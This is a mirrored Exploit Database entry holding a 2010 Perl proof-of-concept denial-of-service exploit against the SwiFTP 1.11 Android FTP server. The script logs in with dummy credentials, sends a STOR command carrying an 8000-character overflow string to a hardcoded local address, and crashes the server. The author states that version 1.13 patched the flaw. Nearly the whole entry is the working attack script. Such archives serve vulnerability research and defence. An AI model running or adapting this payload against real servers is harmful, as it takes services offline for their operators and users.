SwiFTP 1.11 – Overflow (Denial of Service) (PoC)

• Exploit Database
• 116 阅读

• 作者： Julien Bedard
  日期： 2010-01-13
• 类别：

  • dos
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/11125/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33

  # Exploit Title: SwiFTP v1.11 Overflow Dos PoC # Software Link: http://swiftp.googlecode.com/files/SwiFTP_1.11.apk # Version: v1.11 # Tested on: Android OS G1 Rogers / Rooted (CyanogenMod-4.0.4)     #!/usr/bin/perl ############ # # Simple Dos Crap for the Android app : SwiFTP Server v1.11 # by Julien Bedard # # This DoS have been patched in the new version that's why # I'm releasing it. # # SwiFTP Server v1.11 --> Vulnerable # SwiFTP Server v1.13 --> Patched # ####################################   use IO::Socket::INET;   $overflow = 'A' x 8000;   $ftpraw=IO::Socket::INET->new("192.168.2.13:2121") or die;   print $ftpraw "user nouser\n"; print $ftpraw "pass nopass\n"; print $ftpraw "stor $overflow\n"; print $ftpraw "QUIT\n";   close $ftpraw;